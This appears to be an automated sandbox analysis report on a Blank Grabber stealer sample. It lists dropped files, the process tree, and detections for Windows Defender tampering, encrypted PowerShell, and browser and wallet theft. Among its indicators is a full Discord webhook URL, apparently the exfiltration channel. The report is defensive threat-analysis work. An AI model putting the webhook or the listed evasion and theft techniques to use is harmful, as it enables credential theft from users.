  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1561562 Sample: cmd.exe Startdate: 23/11/2024 Architecture: WINDOWS Score: 100 70 ip-api.com 2->70 72 discord.com 2->72 80 Found malware configuration 2->80 82 Multi AV Scanner detection for submitted file 2->82 84 Yara detected Blank Grabber 2->84 86 9 other signatures 2->86 11 cmd.exe 22 2->11         started        15 svchost.exe 2->15         started        signatures3 process4 dnsIp5 62 C:\Users\user\AppData\Local\Temp\...\rar.exe, PE32+ 11->62 dropped 64 C:\Users\user\AppData\Local\...\rarreg.key, ASCII 11->64 dropped 66 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 11->66 dropped 68 16 other files (none is malicious) 11->68 dropped 108 Modifies Windows Defender protection settings 11->108 110 Adds a directory exclusion to Windows Defender 11->110 112 Removes signatures from Windows Defender 11->112 18 cmd.exe 11->18         started        78 127.0.0.1 unknown unknown 15->78 file6 signatures7 process8 dnsIp9 74 ip-api.com 208.95.112.1, 49747, 80 TUT-ASUS United States 18->74 76 discord.com 162.159.128.233, 443, 49748 CLOUDFLARENETUS United States 18->76 88 Found many strings related to Crypto-Wallets (likely being stolen) 18->88 90 Tries to harvest and steal browser information (history, passwords, etc) 18->90 92 Modifies Windows Defender protection settings 18->92 94 3 other signatures 18->94 22 cmd.exe 1 18->22         started        25 cmd.exe 1 18->25         started        27 cmd.exe 1 18->27         started        29 22 other processes 18->29 signatures10 process11 signatures12 96 Suspicious powershell command line found 22->96 98 Encrypted powershell cmdline option found 22->98 100 Bypasses PowerShell execution policy 22->100 31 powershell.exe 23 22->31         started        34 conhost.exe 22->34         started        102 Modifies Windows Defender protection settings 25->102 104 Removes signatures from Windows Defender 25->104 36 powershell.exe 23 25->36         started        46 2 other processes 25->46 106 Adds a directory exclusion to Windows Defender 27->106 38 powershell.exe 23 27->38         started        40 conhost.exe 27->40         started        42 getmac.exe 29->42         started        44 systeminfo.exe 29->44         started        48 42 other processes 29->48 process13 file14 114 Loading BitLocker PowerShell Module 38->114 116 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 42->116 118 Writes or reads registry keys via WMI 42->118 56 C:\Users\user\AppData\...\bcdu5fii.cmdline, Unicode 48->56 dropped 58 C:\Users\user\AppData\Local\Temp\DBdXv.zip, RAR 48->58 dropped 51 csc.exe 48->51         started        signatures15 process16 file17 60 C:\Users\user\AppData\Local\...\bcdu5fii.dll, PE32 51->60 dropped 54 cvtres.exe 51->54         started        process18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
162.159.128.233
 discord.com United States
13335 CLOUDFLARENETUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
discord.com 162.159.128.233 true
ip-api.com 208.95.112.1 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0 false
    		high